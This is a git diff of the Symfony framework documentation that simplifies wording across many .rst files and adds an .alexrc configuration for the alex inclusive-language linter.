 doctrine/associations.rst                     | 12 ++++----
 doctrine/events.rst                           |  2 +-
 doctrine/multiple_entity_managers.rst         |  2 +-
 event_dispatcher.rst                          | 10 +++----
 event_dispatcher/before_after_filters.rst     |  4 +--
 event_dispatcher/method_behavior.rst          | 18 +++++++-----
 form/data_based_validation.rst                |  6 ++--
 form/data_transformers.rst                    | 12 ++++----
 form/embedded.rst                             |  2 +-
 form/form_collections.rst                     |  2 +-
 form/unit_testing.rst                         |  8 ++---
 form/validation_group_service_resolver.rst    |  4 +--
 form/without_class.rst                        |  7 +++--
 forms.rst                                     |  2 +-
 frontend.rst                                  |  6 ++--
 http_cache/expiration.rst                     |  3 +-
 http_cache/validation.rst                     |  9 +++---
 http_cache/varnish.rst                        |  2 +-
 introduction/from_flat_php_to_symfony.rst     | 29 +++++++++----------
 logging/monolog_console.rst                   |  2 +-
 mailer.rst                                    |  2 +-
 messenger.rst                                 | 18 ++++++------
 messenger/dispatch_after_current_bus.rst      |  2 +-
 page_creation.rst                             | 15 +++++-----
 profiler/data_collector.rst                   |  4 +--
 routing.rst                                   |  2 +-
 routing/custom_route_loader.rst               |  2 +-
 routing/routing_from_database.rst             |  2 +-
 security.rst                                  |  8 ++---
 security/access_control.rst                   |  2 +-
 security/access_denied_handler.rst            |  2 +-
 security/csrf.rst                             |  4 +--
 security/form_login_setup.rst                 |  4 +--
 security/guard_authentication.rst             | 12 ++++----
 security/json_login_setup.rst                 |  2 +-
 security/remember_me.rst                      |  2 +-
 security/voters.rst                           |  4 +--
 service_container.rst                         |  4 +--
 service_container/3.3-di-changes.rst          |  2 +-
 service_container/alias_private.rst           |  8 ++---
 service_container/configurators.rst           |  3 +-
 service_container/expression_language.rst     |  2 +-
 service_container/factories.rst               |  3 +-
 service_container/injection_types.rst         | 13 +++++----
 service_container/lazy_services.rst           |  2 +-
 service_container/parent_services.rst         |  5 ++--
 .../service_subscribers_locators.rst          |  2 +-
 service_container/tags.rst                    |  2 +-
 setup.rst                                     |  8 ++---
 setup/built_in_web_server.rst                 |  2 +-
 setup/homestead.rst                           |  2 +-
 setup/symfony_server.rst                      |  2 +-
 setup/unstable_versions.rst                   |  4 +--
 setup/upgrade_major.rst                       |  2 +-
 setup/upgrade_minor.rst                       |  2 +-
 templating/PHP.rst                            |  2 +-
 testing.rst                                   | 10 +++----
 testing/insulating_clients.rst                |  2 +-
 testing/profiling.rst                         |  2 +-
 translation.rst                               |  4 +--
 validation.rst                                | 18 ++++++------
 validation/custom_constraint.rst              | 12 ++++----
 validation/groups.rst                         |  2 +-
 validation/raw_values.rst                     |  4 +--
 workflow.rst                                  |  7 ++---
 85 files changed, 251 insertions(+), 239 deletions(-)
 create mode 100644 .alexrc

diff --git a/.alexrc b/.alexrc
new file mode 100644
index 00000000000..168d412c177
--- /dev/null
+++ b/.alexrc
@@ -0,0 +1,16 @@
+{
+  "allow": [
+      "attack",
+      "attacks",
+      "bigger",
+      "color",
+      "colors",
+      "failure",
+      "hook",
+      "hooks",
+      "host-hostess",
+      "invalid",
+      "remain",
+      "special"
+  ]
+}
diff --git a/bundles.rst b/bundles.rst
index 130171e0120..dc087137fee 100644
--- a/bundles.rst
+++ b/bundles.rst
@@ -45,9 +45,9 @@ Creating a Bundle
 -----------------
 
 This section creates and enables a new bundle to show there are only a few steps required.
-The new bundle is called AcmeTestBundle, where the ``Acme`` portion is just a
-dummy name that should be replaced by some "vendor" name that represents you or
-your organization (e.g. ABCTestBundle for some company named ``ABC``).
+The new bundle is called AcmeTestBundle, where the ``Acme`` portion is a dummy
+name that should be replaced by some "vendor" name that represents you or your
+organization (e.g. ABCTestBundle for some company named ``ABC``).
 
 Start by creating a ``src/Acme/TestBundle/`` directory and adding a new file
 called ``AcmeTestBundle.php``::
diff --git a/configuration.rst b/configuration.rst
index 6cb19d1d4ea..46a9506c058 100644
--- a/configuration.rst
+++ b/configuration.rst
@@ -351,7 +351,7 @@ a new ``locale`` parameter is added to the ``config/services.yaml`` file).
 Configuration Environments
 --------------------------
 
-You have just one application, but whether you realize it or not, you need it
+You have only one application, but whether you realize it or not, you need it
 to behave differently at different times:
 
 * While **developing**, you want to log everything and expose nice debugging tools;
diff --git a/configuration/dot-env-changes.rst b/configuration/dot-env-changes.rst
index 7484c4e1603..df418e6ea75 100644
--- a/configuration/dot-env-changes.rst
+++ b/configuration/dot-env-changes.rst
@@ -20,8 +20,8 @@ important changes:
 
 * B) The ``.env`` file **is** now committed to your repository. It was previously ignored
   via the ``.gitignore`` file (the updated recipe does not ignore this file). Because
-  this file is committed, it should contain non-sensitive, default values. Basically,
-  the ``.env.dist`` file was moved to ``.env``.
+  this file is committed, it should contain non-sensitive, default values. The
+  ``.env`` can be seen as the previous ``.env.dist`` file.
 
 * C) A ``.env.local`` file can now be created to *override* values in ``.env`` for
   your machine. This file is ignored in the new ``.gitignore``.
diff --git a/configuration/front_controllers_and_kernel.rst b/configuration/front_controllers_and_kernel.rst
index ba702cbdc49..090abb86e55 100644
--- a/configuration/front_controllers_and_kernel.rst
+++ b/configuration/front_controllers_and_kernel.rst
@@ -30,7 +30,7 @@ The `front controller`_ is a design pattern; it is a section of code that *all*
 requests served by an application run through.
 
 In the Symfony Skeleton, this role is taken by the ``index.php`` file in the
-``public/`` directory. This is the very first PHP script executed when a
+``public/`` directory. This is the very first PHP script that is run when a
 request is processed.
 
 The main purpose of the front controller is to create an instance of the
diff --git a/configuration/micro_kernel_trait.rst b/configuration/micro_kernel_trait.rst
index a82733eed94..16402bd5a54 100644
--- a/configuration/micro_kernel_trait.rst
+++ b/configuration/micro_kernel_trait.rst
@@ -20,7 +20,7 @@ via Composer:
       symfony/http-foundation symfony/routing \
       symfony/dependency-injection symfony/framework-bundle
 
-Next, create an ``index.php`` file that defines the kernel class and executes it::
+Next, create an ``index.php`` file that defines the kernel class and runs it::
 
     // index.php
     use Symfony\Bundle\FrameworkBundle\Kernel\MicroKernelTrait;
diff --git a/configuration/multiple_kernels.rst b/configuration/multiple_kernels.rst
index a43aa491920..e6110bb69c2 100644
--- a/configuration/multiple_kernels.rst
+++ b/configuration/multiple_kernels.rst
@@ -16,8 +16,8 @@ request to generate the response.
 
 This single kernel approach is a convenient default, but Symfony applications
 can define any number of kernels. Whereas
-:ref:`environments <configuration-environments>` execute the same application
-with different configurations, kernels can execute different parts of the same
+:ref:`environments <configuration-environments>` run the same application with
+different configurations, kernels can run different parts of the same
 application.
 
 These are some of the common use cases for creating multiple kernels:
@@ -123,7 +123,7 @@ Finally, define the configuration files that the new ``ApiKernel`` will load.
 According to the above code, this config will live in one or multiple files
 stored in ``config/api/`` and ``config/api/ENVIRONMENT_NAME/`` directories.
 
-The new configuration files can be created from scratch when you load just a few
+The new configuration files can be created from scratch when you load only a few
 bundles, because it will be small. Otherwise, duplicate the existing
 config files in ``config/packages/`` or better, import them and override the
 needed options.
@@ -133,13 +133,12 @@ Executing Commands with a Different Kernel
 
 The ``bin/console`` script used to run Symfony commands always uses the default
 ``Kernel`` class to build the application and load the commands. If you need
-to execute console commands using the new kernel, duplicate the ``bin/console``
+to run console commands using the new kernel, duplicate the ``bin/console``
 script and rename it (e.g. ``bin/api``).
 
 Then, replace the ``Kernel`` instance by your own kernel instance
-(e.g. ``ApiKernel``) and now you can execute commands using the new kernel
-(e.g. ``php bin/api cache:clear``) Now you can use execute commands using the
-new kernel.
+(e.g. ``ApiKernel``). Now you can run commands using the new kernel
+(e.g. ``php bin/api cache:clear``).
 
 .. note::
 
diff --git a/configuration/using_parameters_in_dic.rst b/configuration/using_parameters_in_dic.rst
index 8a19b4ebc39..730043af714 100644
--- a/configuration/using_parameters_in_dic.rst
+++ b/configuration/using_parameters_in_dic.rst
@@ -10,8 +10,8 @@ There are special cases such as when you want, for instance, to use the
 ``%kernel.debug%`` parameter to make the services in your bundle enter
 debug mode. For this case there is more work to do in order
 to make the system understand the parameter value. By default,
-your parameter ``%kernel.debug%`` will be treated as a
-simple string. Consider the following example::
+your parameter ``%kernel.debug%`` will be treated as a string. Consider the
+following example::
 
     // inside Configuration class
     $rootNode
diff --git a/console.rst b/console.rst
index f0c6f81116c..ad9bb8c16e6 100644
--- a/console.rst
+++ b/console.rst
@@ -113,7 +113,7 @@ this is already done for you, thanks to :ref:`autoconfiguration <services-autoco
 Executing the Command
 ---------------------
 
-After configuring and registering the command, you can execute it in the terminal:
+After configuring and registering the command, you can run it in the terminal:
 
 .. code-block:: terminal
 
diff --git a/console/calling_commands.rst b/console/calling_commands.rst
index d7b2c9918d7..0b3919973e5 100644
--- a/console/calling_commands.rst
+++ b/console/calling_commands.rst
@@ -1,12 +1,12 @@
 How to Call Other Commands
 ==========================
 
-If a command depends on another one being run before it, instead of asking the
-user to remember the order of execution, you can call it directly yourself.
-This is also useful if you want to create a "meta" command that just runs a
-bunch of other commands (for instance, all commands that need to be run when
-the project's code has changed on the production servers: clearing the cache,
-generating Doctrine2 proxies, dumping web assets, ...).
+If a command depends on another one being run before it you can call in the
+console command itself. This is useful if a command depends on another command
+or if you want to create a "meta" command that runs a bunch of other commands
+(for instance, all commands that need to be run when the project's code has
+changed on the production servers: clearing the cache, generating Doctrine
+proxies, dumping web assets, ...).
 
 Calling a command from another one is straightforward::
 
@@ -31,13 +31,13 @@ Calling a command from another one is straightforward::
     }
 
 First, you :method:`Symfony\\Component\\Console\\Application::find` the
-command you want to execute by passing the command name. Then, you need to create
+command you want to run by passing the command name. Then, you need to create
 a new :class:`Symfony\\Component\\Console\\Input\\ArrayInput` with the arguments
 and options you want to pass to the command.
 
-Eventually, calling the ``run()`` method actually executes the command and
-returns the returned code from the command (return value from command's
-``execute()`` method).
+Eventually, calling the ``run()`` method actually runs the command and returns
+the returned code from the command (return value from command's ``execute()``
+method).
 
 .. tip::
 
diff --git a/console/command_in_controller.rst b/console/command_in_controller.rst
index 6559ae15c0a..190584bfbda 100644
--- a/console/command_in_controller.rst
+++ b/console/command_in_controller.rst
@@ -8,11 +8,11 @@ The :doc:`Console component documentation </components/console>` covers how to
 create a console command. This article covers how to use a console command
 directly from your controller.
 
-You may have the need to execute some function that is only available in a
-console command. Usually, you should refactor the command and move some logic
-into a service that can be reused in the controller. However, when the command
-is part of a third-party library, you wouldn't want to modify or duplicate
-their code. Instead, you can execute the command directly.
+You may have the need to call some function that is only available in a console
+command. Usually, you should refactor the command and move some logic into a
+service that can be reused in the controller. However, when the command is part
+of a third-party library, you don't want to modify or duplicate their code.
+Instead, you can run the command directly from the controller.
 
 .. caution::
 
diff --git a/console/commands_as_services.rst b/console/commands_as_services.rst
index de58e4e00b1..fb5e7ff70eb 100644
--- a/console/commands_as_services.rst
+++ b/console/commands_as_services.rst
@@ -52,8 +52,9 @@ For example, suppose you want to log something from within your command::
 
 If you're using the :ref:`default services.yaml configuration <service-container-services-load-example>`,
 the command class will automatically be registered as a service and passed the ``$logger``
-argument (thanks to autowiring). In other words, *just* by creating this class, everything
-works! You can call the ``app:sunshine`` command and start logging.
+argument (thanks to autowiring). In other words, you only need to create this
+class and everything works automatically! You can call the ``app:sunshine``
+command and start logging.
 
 .. caution::
 
diff --git a/console/hide_commands.rst b/console/hide_commands.rst
index 814888fe660..db39ca824f8 100644
--- a/console/hide_commands.rst
+++ b/console/hide_commands.rst
@@ -4,9 +4,9 @@ How to Hide Console Commands
 By default, all console commands are listed when executing the console application
 script without arguments or when using the ``list`` command.
 
-However, sometimes commands are not intended to be executed by end-users; for
+However, sometimes commands are not intended to be run by end-users; for
 example, commands for the legacy parts of the application, commands exclusively
-executed through scheduled tasks, etc.
+run through scheduled tasks, etc.
 
 In those cases, you can define the command as **hidden** by setting the
 ``setHidden()`` method to ``true`` in the command configuration::
diff --git a/console/input.rst b/console/input.rst
index 020e2e06ad1..3e99b39e515 100644
--- a/console/input.rst
+++ b/console/input.rst
@@ -184,13 +184,13 @@ flag:
         ;
 
 Note that to comply with the `docopt standard`_, long options can specify their
-values after a white space or an ``=`` sign (e.g. ``--iterations 5`` or
-``--iterations=5``), but short options can only use white spaces or no
+values after a whitespace or an ``=`` sign (e.g. ``--iterations 5`` or
+``--iterations=5``), but short options can only use whitespaces or no
 separation at all (e.g. ``-i 5`` or ``-i5``).
 
 .. caution::
 
-    While it is possible to separate an option from its value with a white space,
+    While it is possible to separate an option from its value with a whitespace,
     using this form leads to an ambiguity should the option appear before the
     command name. For example, ``php bin/console --iterations 5 app:greet Fabien``
     is ambiguous; Symfony would interpret ``5`` as the command name. To avoid
diff --git a/console/lockable_trait.rst b/console/lockable_trait.rst
index eaecdcee893..7f751d09012 100644
--- a/console/lockable_trait.rst
+++ b/console/lockable_trait.rst
@@ -1,9 +1,9 @@
-Prevent Multiple Executions of a Console Command
-================================================
+Prevent Running the Same Console Command Multiple Times
+=======================================================
 
-A simple but effective way to prevent multiple executions of the same command in
-a single server is to use `locks`_. The :doc:`Lock component </components/lock>`
-provides multiple classes to create locks based on the filesystem (:ref:`FlockStore <lock-store-flock>`),
+You can use `locks`_ to prevent the same command from running multiple times on
+the same server. The :doc:`Lock component </components/lock>` provides multiple
+classes to create locks based on the filesystem (:ref:`FlockStore <lock-store-flock>`),
 shared memory (:ref:`SemaphoreStore <lock-store-semaphore>`) and even databases
 and Redis servers.
 
diff --git a/controller.rst b/controller.rst
index e3b2cceb8a2..d29608e6128 100644
--- a/controller.rst
+++ b/controller.rst
@@ -7,7 +7,7 @@ Controller
 A controller is a PHP function you create that reads information from the
 ``Request`` object and creates and returns a ``Response`` object. The response could
 be an HTML page, JSON, XML, a file download, a redirect, a 404 error or anything
-else. The controller executes whatever arbitrary logic *your application* needs
+else. The controller runs whatever arbitrary logic *your application* needs
 to render the content of a page.
 
 .. tip::
@@ -16,9 +16,9 @@ to render the content of a page.
     :doc:`/page_creation` and then come back!
 
 .. index::
-   single: Controller; Simple example
+   single: Controller; Basic example
 
-A Simple Controller
+A Basic Controller
 -------------------
 
 While a controller can be any PHP callable (function, method on an object,
diff --git a/controller/argument_value_resolver.rst b/controller/argument_value_resolver.rst
index 6492fe2b5c5..da209a731df 100644
--- a/controller/argument_value_resolver.rst
+++ b/controller/argument_value_resolver.rst
@@ -137,7 +137,7 @@ and defining a service for it. The interface defines two methods:
 
 ``supports()``
     This method is used to check whether the value resolver supports the
-    given argument. ``resolve()`` will only be executed when this returns ``true``.
+    given argument. ``resolve()`` will only be called when this returns ``true``.
 ``resolve()``
     This method will resolve the actual value for the argument. Once the value
     is resolved, you must `yield`_ the value to the ``ArgumentResolver``.
diff --git a/controller/error_pages.rst b/controller/error_pages.rst
index 1b05c2745c4..613a245ef8d 100644
--- a/controller/error_pages.rst
+++ b/controller/error_pages.rst
@@ -6,8 +6,8 @@ How to Customize Error Pages
 ============================
 
 In Symfony applications, all errors are treated as exceptions, no matter if they
-are just a 404 Not Found error or a fatal error triggered by throwing some
-exception in your code.
+are a 404 Not Found error or a fatal error triggered by throwing some exception
+in your code.
 
 In the :ref:`development environment <configuration-environments>`,
 Symfony catches all the exceptions and displays a special **exception page**
@@ -19,7 +19,7 @@ with lots of debug information to help you discover the root problem:
    :class: with-browser
 
 Since these pages contain a lot of sensitive internal information, Symfony won't
-display them in the production environment. Instead, it'll show a simple and
+display them in the production environment. Instead, it'll show a minimal and
 generic **error page**:
 
 .. image:: /_images/controller/error_pages/errors-in-prod-environment.png
@@ -30,7 +30,7 @@ generic **error page**:
 Error pages for the production environment can be customized in different ways
 depending on your needs:
 
-#. If you just want to change the contents and styles of the error pages to match
+#. If you only want to change the contents and styles of the error pages to match
    the rest of your application, :ref:`override the default error templates <use-default-error-controller>`;
 
 #. If you want to change the contents of non-HTML error output,
@@ -39,7 +39,7 @@ depending on your needs:
 #. If you also want to tweak the logic used by Symfony to generate error pages,
    :ref:`override the default error controller <custom-error-controller>`;
 
-#. If you need total control of exception handling to execute your own logic
+#. If you need total control of exception handling to run your own logic
    :ref:`use the kernel.exception event <use-kernel-exception-event>`.
 
 .. _use-default-error-controller:
diff --git a/controller/forwarding.rst b/controller/forwarding.rst
index 74a6ffedeed..0f231e07b42 100644
--- a/controller/forwarding.rst
+++ b/controller/forwarding.rst
@@ -34,5 +34,5 @@ The target controller method might look something like this::
         // ... create and return a Response object
     }
 
-Just like when creating a controller for a route, the order of the arguments
-of the ``fancy()`` method doesn't matter: the matching is done by name.
+Like when creating a controller for a route, the order of the arguments of the
+``fancy()`` method doesn't matter: the matching is done by name.
diff --git a/deployment.rst b/deployment.rst
index b594338b8bd..85b772b3a55 100644
--- a/deployment.rst
+++ b/deployment.rst
@@ -128,7 +128,7 @@ While developing locally, you'll usually store these in ``.env`` and ``.env.loca
    on your setup: they can be set at the command line, in your Nginx configuration,
    or via other methods provided by your hosting service.
 
-2. Or, create a ``.env.local`` file just like your local development (see note below)
+2. Or, create a ``.env.local`` file like your local development (see note below)
 
 There is no significant advantage to either of the two options: use whatever is
 most natural in your hosting environment.
diff --git a/doctrine/associations.rst b/doctrine/associations.rst
index cf769166122..017f5903391 100644
--- a/doctrine/associations.rst
+++ b/doctrine/associations.rst
@@ -15,7 +15,7 @@ There are **two** main relationship/association types:
 ``ManyToOne`` / ``OneToMany``
     The most common relationship, mapped in the database with a foreign
     key column (e.g. a ``category_id`` column on the ``product`` table). This is
-    actually just *one* association type, but seen from the two different *sides*
+    actually only *one* association type, but seen from the two different *sides*
     of the relation.
 
 ``ManyToMany``
@@ -299,7 +299,7 @@ config.
     *exactly* like an array, but has some added flexibility. Just imagine that
     it is an ``array`` and you'll be in good shape.
 
-Your database is setup! Now, execute the migrations like normal:
+Your database is setup! Now, run the migrations like normal:
 
 .. code-block:: terminal
 
@@ -374,8 +374,8 @@ Doctrine takes care of the rest when saving.
 Fetching Related Objects
 ------------------------
 
-When you need to fetch associated objects, your workflow looks just like it
-did before. First, fetch a ``$product`` object and then access its related
+When you need to fetch associated objects, your workflow looks like it did
+before. First, fetch a ``$product`` object and then access its related
 ``Category`` object::
 
     use App\Entity\Product;
@@ -395,7 +395,7 @@ did before. First, fetch a ``$product`` object and then access its related
     }
 
 In this example, you first query for a ``Product`` object based on the product's
-``id``. This issues a query for *just* the product data and hydrates the
+``id``. This issues a query to fetch *only* the product data and hydrates the
 ``$product``. Later, when you call ``$product->getCategory()->getName()``,
 Doctrine silently makes a second query to find the ``Category`` that's related
 to this ``Product``. It prepares the ``$category`` object and returns it to
@@ -493,7 +493,7 @@ This will *still* return an array of ``Product`` objects. But now, when you call
 ``$product->getCategory()`` and use that data, no second query is made.
 
 Now, you can use this method in your controller to query for a ``Product``
-object and its related ``Category`` with just one query::
+object and its related ``Category`` in one query::
 
     public function show($id)
     {
diff --git a/doctrine/events.rst b/doctrine/events.rst
index 4cee3ebe4e9..9b44b35cba1 100644
--- a/doctrine/events.rst
+++ b/doctrine/events.rst
@@ -7,7 +7,7 @@ Doctrine Events
 `Doctrine`_, the set of PHP libraries used by Symfony to work with databases,
 provides a lightweight event system to update entities during the application
 execution. These events, called `lifecycle events`_, allow to perform tasks such
-as *"update the createdAt property automatically just before persisting entities
+as *"update the createdAt property automatically right before persisting entities
 of this type"*.
 
 Doctrine triggers events before/after performing the most common entity
diff --git a/doctrine/multiple_entity_managers.rst b/doctrine/multiple_entity_managers.rst
index 3cbfbd75eb3..b7f61039a1e 100644
--- a/doctrine/multiple_entity_managers.rst
+++ b/doctrine/multiple_entity_managers.rst
@@ -249,7 +249,7 @@ the default entity manager (i.e. ``default``) is returned::
         }
     }
 
-You can now use Doctrine just as you did before - using the ``default`` entity
+You can now use Doctrine like you did before - using the ``default`` entity
 manager to persist and fetch entities that it manages and the ``customer``
 entity manager to persist and fetch its entities.
 
diff --git a/event_dispatcher.rst b/event_dispatcher.rst
index df546d7a9f8..b162fe035f1 100644
--- a/event_dispatcher.rst
+++ b/event_dispatcher.rst
@@ -112,15 +112,15 @@ using a special "tag":
             ->addTag('kernel.event_listener', ['event' => 'kernel.exception'])
         ;
 
-Symfony follows this logic to decide which method to execute inside the event
+Symfony follows this logic to decide which method to call inside the event
 listener class:
 
 #. If the ``kernel.event_listener`` tag defines the ``method`` attribute, that's
-   the name of the method to be executed;
-#. If no ``method`` attribute is defined, try to execute the method whose name
+   the name of the method to be called;
+#. If no ``method`` attribute is defined, try to call the method whose name
    is ``on`` + "camel-cased event name" (e.g. ``onKernelException()`` method for
    the ``kernel.exception`` event);
-#. If that method is not defined either, try to execute the ``__invoke()`` magic
+#. If that method is not defined either, try to call the ``__invoke()`` magic
    method (which makes event listeners invokable);
 #. If the ``_invoke()`` method is not defined either, throw an exception.
 
@@ -148,7 +148,7 @@ If different event subscriber methods listen to the same event, their order is
 defined by the ``priority`` parameter. This value is a positive or negative
 integer which defaults to ``0``. The higher the number, the earlier the method
 is called. **Priority is aggregated for all listeners and subscribers**, so your
-methods could be executed before or after the methods defined in other listeners
+methods could be called before or after the methods defined in other listeners
 and subscribers. To learn more about event subscribers, read :doc:`/components/event_dispatcher`.
 
 The following example shows an event subscriber that defines several methods which
diff --git a/event_dispatcher/before_after_filters.rst b/event_dispatcher/before_after_filters.rst
index 771163f4cb8..6c48d62ee24 100644
--- a/event_dispatcher/before_after_filters.rst
+++ b/event_dispatcher/before_after_filters.rst
@@ -5,8 +5,8 @@ How to Set Up Before and After Filters
 ======================================
 
 It is quite common in web application development to need some logic to be
-executed just before or just after your controller actions acting as filters
-or hooks.
+performed right before or directly after your controller actions acting as
+filters or hooks.
 
 Some web frameworks define methods like ``preExecute()`` and ``postExecute()``,
 but there is no such thing in Symfony. The good news is that there is a much
diff --git a/event_dispatcher/method_behavior.rst b/event_dispatcher/method_behavior.rst
index 7d93d074353..cea11e72d8d 100644
--- a/event_dispatcher/method_behavior.rst
+++ b/event_dispatcher/method_behavior.rst
@@ -7,9 +7,9 @@ How to Customize a Method Behavior without Using Inheritance
 Doing something before or after a Method Call
 ---------------------------------------------
 
-If you want to do something just before, or just after a method is called, you
-can dispatch an event respectively at the beginning or at the end of the
-method::
+If you want to do something right before, or directly after a method is
+called, you can dispatch an event respectively at the beginning or at the
+end of the method::
 
     class CustomMailer
     {
@@ -36,10 +36,14 @@ method::
         }
     }
 
-In this example, two events are thrown: ``mailer.pre_send``, before the method is
-executed, and ``mailer.post_send`` after the method is executed. Each uses a
-custom Event class to communicate information to the listeners of the two
-events. For example, ``BeforeSendMailEvent`` might look like this::
+In this example, two events are dispatched:
+
+#. ``mailer.pre_send``, before the method is called,
+#. and ``mailer.post_send`` after the method is called.
+
+Each uses a custom Event class to communicate information to the listeners
+of the two events. For example, ``BeforeSendMailEvent`` might look like
+this::
 
     // src/Event/BeforeSendMailEvent.php
     namespace App\Event;
diff --git a/form/data_based_validation.rst b/form/data_based_validation.rst
index 0c89ea2fef1..383883ba91f 100644
--- a/form/data_based_validation.rst
+++ b/form/data_based_validation.rst
@@ -23,9 +23,9 @@ to an array callback::
     }
 
 This will call the static method ``determineValidationGroups()`` on the
-``Client`` class after the form is submitted, but before validation is executed.
-The Form object is passed as an argument to that method (see next example).
-You can also define whole logic inline by using a ``Closure``::
+``Client`` class after the form is submitted, but before validation is
+invoked. The Form object is passed as an argument to that method (see next
+example).  You can also define whole logic inline by using a ``Closure``::
 
     use App\Entity\Client;
     use Symfony\Component\Form\FormInterface;
diff --git a/form/data_transformers.rst b/form/data_transformers.rst
index 80a5954017d..4a087a0aaff 100644
--- a/form/data_transformers.rst
+++ b/form/data_transformers.rst
@@ -24,8 +24,8 @@ to render the form, and then back into a ``DateTime`` object on submit.
 
 .. _simple-example-sanitizing-html-on-user-input:
 
-Simple Example: Transforming String Tags from User Input to an Array
---------------------------------------------------------------------
+Example #1: Transforming Strings Form Data Tags from User Input to an Array
+---------------------------------------------------------------------------
 
 Suppose you have a Task form with a tags ``text`` type::
 
@@ -56,7 +56,7 @@ Suppose you have a Task form with a tags ``text`` type::
     }
 
 Internally the ``tags`` are stored as an array, but displayed to the user as a
-simple comma separated string to make them easier to edit.
+plain comma separated string to make them easier to edit.
 
 This is a *perfect* time to attach a custom data transformer to the ``tags``
 field. The easiest way to do this is with the :class:`Symfony\\Component\\Form\\CallbackTransformer`
@@ -115,8 +115,8 @@ slightly::
             ->addModelTransformer(...)
     );
 
-Harder Example: Transforming an Issue Number into an Issue Entity
------------------------------------------------------------------
+Example #2: Transforming an Issue Number into an Issue Entity
+-------------------------------------------------------------
 
 Say you have a many-to-one relation from the Task entity to an Issue entity (i.e. each
 Task has an optional foreign key to its related Issue). Adding a list box with all
@@ -233,7 +233,7 @@ to and from the issue number and the ``Issue`` object::
         }
     }
 
-Just like in the first example, a transformer has two directions. The ``transform()``
+Like the first example, the transformer has two directions. The ``transform()``
 method is responsible for converting the data used in your code to a format that
 can be rendered in your form (e.g. an ``Issue`` object to its ``id``, a string).
 The ``reverseTransform()`` method does the reverse: it converts the submitted value
diff --git a/form/embedded.rst b/form/embedded.rst
index 6568b09611f..9da8104b143 100644
--- a/form/embedded.rst
+++ b/form/embedded.rst
@@ -14,7 +14,7 @@ be achieved by the Form component.
 Embedding a Single Object
 -------------------------
 
-Suppose that each ``Task`` belongs to a simple ``Category`` object. Start by
+Suppose that each ``Task`` belongs to a ``Category`` object. Start by
 creating the ``Category`` object::
 
     // src/Entity/Category.php
diff --git a/form/form_collections.rst b/form/form_collections.rst
index 356715a2e5b..1d0b56c244a 100644
--- a/form/form_collections.rst
+++ b/form/form_collections.rst
@@ -397,7 +397,7 @@ Next, add a ``by_reference`` option to the ``tags`` field and set it to ``false`
 With these two changes, when the form is submitted, each new ``Tag`` object
 is added to the ``Task`` class by calling the ``addTag()`` method. Before this
 change, they were added internally by the form by calling ``$task->getTags()->add($tag)``.
-That was just fine, but forcing the use of the "adder" method makes handling
+That was fine, but forcing the use of the "adder" method makes handling
 these new ``Tag`` objects easier (especially if you're using Doctrine, which
 you will learn about next!).
 
diff --git a/form/unit_testing.rst b/form/unit_testing.rst
index a1ea0a58099..ee096c167dd 100644
--- a/form/unit_testing.rst
+++ b/form/unit_testing.rst
@@ -20,7 +20,7 @@ The only class that is usually manipulated by programmers is the form type class
 which serves as a form blueprint. It is used to generate the ``Form`` and the
 ``FormView``. You could test it directly by mocking its interactions with the
 factory but it would be complex. It is better to pass it to FormFactory like it
-is done in a real application. It is simple to bootstrap and you can trust
+is done in a real application. It is easier to bootstrap and you can trust
 the Symfony components enough to use them as a testing base.
 
 There is already a class that you can benefit from for testing:
@@ -94,7 +94,7 @@ be the first test you write::
     $form = $this->factory->create(TestedType::class, $formData);
 
 This test checks that none of your data transformers used by the form
-failed. The :method:`Symfony\\Component\\Form\\FormInterface::isSynchronized`
+produces an error. The :method:`Symfony\\Component\\Form\\FormInterface::isSynchronized`
 method is only set to ``false`` if a data transformer throws an exception::
 
     $form->submit($formData);
@@ -139,8 +139,8 @@ Testings Types Registered as Services
 
 Your form may be used as a service, as it depends on other services (e.g. the
 Doctrine entity manager). In these cases, using the above code won't work, as
-the Form component just instantiates the form type without passing any
-arguments to the constructor.
+the Form component instantiates the form type without passing any arguments
+to the constructor.
 
 To solve this, you have to mock the injected dependencies, instantiate your own
 form type and use the :class:`Symfony\\Component\\Form\\PreloadedExtension` to
diff --git a/form/validation_group_service_resolver.rst b/form/validation_group_service_resolver.rst
index 9953e5d176e..e497a7556df 100644
--- a/form/validation_group_service_resolver.rst
+++ b/form/validation_group_service_resolver.rst
@@ -2,8 +2,8 @@ How to Dynamically Configure Form Validation Groups
 ===================================================
 
 Sometimes you need advanced logic to determine the validation groups. If they
-can't be determined by a simple callback, you can use a service. Create a
-service that implements ``__invoke()`` which accepts a ``FormInterface`` as a
+can't be determined by a callback, you can use a service. Create a service
+that implements ``__invoke()`` which accepts a ``FormInterface`` as a
 parameter::
 
     // src/Validation/ValidationGroupResolver.php
diff --git a/form/without_class.rst b/form/without_class.rst
index 0d9cbff0b82..50efc1dbcc7 100644
--- a/form/without_class.rst
+++ b/form/without_class.rst
@@ -8,8 +8,9 @@ In most cases, a form is tied to an object, and the fields of the form get
 and store their data on the properties of that object. This is exactly what
 you've seen so far in this article with the ``Task`` class.
 
-But sometimes, you may just want to use a form without a class, and get back
-an array of the submitted data. The ``getData()`` method allows you to do exactly that::
+But sometimes, you may want to use a form without a class, and get back an
+array of the submitted data. The ``getData()`` method allows you to do
+exactly that::
 
     // make sure you've imported the Request namespace above the class
     use Symfony\Component\HttpFoundation\Request;
@@ -72,7 +73,7 @@ you want to use. See :doc:`/validation` for more details.
 .. _form-option-constraints:
 
 But if the form is not mapped to an object and you instead want to retrieve a
-simple array of your submitted data, how can you add constraints to the data of
+array of your submitted data, how can you add constraints to the data of
 your form?
 
 The answer is to set up the constraints yourself, and attach them to the individual
diff --git a/forms.rst b/forms.rst
index afe5e3594ca..6923660a016 100644
--- a/forms.rst
+++ b/forms.rst
@@ -35,7 +35,7 @@ The recommended workflow when working with Symfony forms is the following:
    data and do something with it (e.g. persist it in a database).
 
 Each of these steps is explained in detail in the next sections. To make
-examples easier to follow, all of them assume that you're building a simple Todo
+examples easier to follow, all of them assume that you're building a small Todo
 list application that displays "tasks".
 
 Users create and edit tasks using Symfony forms. Each task is an instance of the
diff --git a/frontend.rst b/frontend.rst
index e05f26ed314..47d3111dd33 100644
--- a/frontend.rst
+++ b/frontend.rst
@@ -7,9 +7,9 @@ Managing CSS and JavaScript
     Do you prefer video tutorials? Check out the `Webpack Encore screencast series`_.
 
 Symfony ships with a pure-JavaScript library - called Webpack Encore - that makes
-working with CSS and JavaScript a joy. You can use it, use something else, or just
-create static CSS and JS files in your ``public/`` directory and include them in your
-templates.
+working with CSS and JavaScript a joy. You can use it, use something else, or
+create static CSS and JS files in your ``public/`` directory directly and
+include them in your templates.
 
 .. _frontend-webpack-encore:
 
